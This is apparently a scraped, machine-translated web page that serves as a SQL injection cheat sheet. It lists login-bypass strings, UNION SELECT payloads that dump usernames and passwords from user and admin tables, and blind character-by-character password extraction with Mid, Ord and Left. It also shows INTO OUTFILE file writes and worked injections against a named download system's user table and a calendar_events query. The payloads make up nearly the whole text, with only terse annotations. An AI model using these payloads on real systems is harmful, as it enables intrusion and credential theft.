'%23
' and password= ' Mypass
Id=-1 Union Select 1,1,1
Id=-1 Union Select char ($), char (97)
Id=1 Union Select 1,1,1 from
Id=1 Union select 1,1,1 from admin
Id=1 Union select 1,1,1 from user
Userid=1 and Password=mypass
Userid=1 and Mid (password,3,1) =char (112)
Userid=1 and Mid (password,4,1) =char (97)
and Ord (Mid (password,3,1)) >111 (the Ord function works well and can be returned for shaping)
' and length (password) = ' 6 (Probe password length)
' and Left (password,1) = ' m
' and Left (password,2) = ' my
.............................. In turn
' Union select 1,username,password from user/*
' Union select 1,username,password from user/*
= ' Union select 1,username,password from user/* (can be 1 or = directly followed)
99999 ' Union select 1,username,password from user/*
' Into outfile ' c:/file.txt (export file)
= ' or 1=1 into outfile ' C:/file.txt
1 ' union select 1,username,password from user into outfile ' c:/user.txt
Select password from admins where login= ' John ' into DumpFile '/path/to/site/file.txt '
Id= ' Union select 1,username,password from user to outfile
Id=-1 Union Select 1,database (), version () (Flexible application query)
Common query test statements,
SELECT * FROM table where 1=1
SELECT * FROM table where ' uuu ' = ' UUU '
SELECT * FROM table where 1<>2
SELECT * FROM table where 3>2
SELECT * FROM table where 2<3
SELECT * FROM table where 1
SELECT * FROM table where
SELECT * FROM table where 1--1
SELECT * FROM table where ISNULL (NULL)
SELECT * FROM table where ISNULL (COT (0))
SELECT * FROM table where 1 are not NULL
SELECT * FROM table where NULL is NULL
SELECT * FROM table where 2 between 1 and 3
SELECT * FROM table where ' B ' between ' a ' and ' C '
SELECT * FROM table where 2 in (0,1,2)
SELECT * FROM table where case-1>0 then 1 END
Example: Night Cat Download System version 1.0
Id=1 Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1
id=10000 Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1 and groupid=1
Union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1 (replace, find password)
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,1,1)) =49 (verify first digit password)
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,2,1)) =50 (second bit)
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where Id=1 and Ord (Mid (password,3,1)) =51
..................................................................
Example 2: Gray trajectory Transform ID for testing (meteor)
Union%20 (Select%20allowsmilies,public,userid, ' 0000-0-0 ', User (), version ()%20from%20calendar_events%20where% 20eventid%20=%2013)%20order%20by%20eventdate
Union%20 (Select%20allowsmilies,public,userid, ' 0000-0-0 ', Pass (), version ()%20from%20calendar_events%20where% 20eventid%20=%2010)%20order%20by%20eventdate
http://www.bkjia.com/PHPjc/319191.html www.bkjia.com true http://www.bkjia.com/PHPjc/319191.html techarticle '%23 ' andpassword= ' Mypass id=-1unionselect1,1,1 Id=-1unionselectchar (), char (+), char (ID=1UNIONSELECT1), 1,1frommembers id=1unionselect1,1,1fromadmin id=1unionselect1,1,1fromuser ...
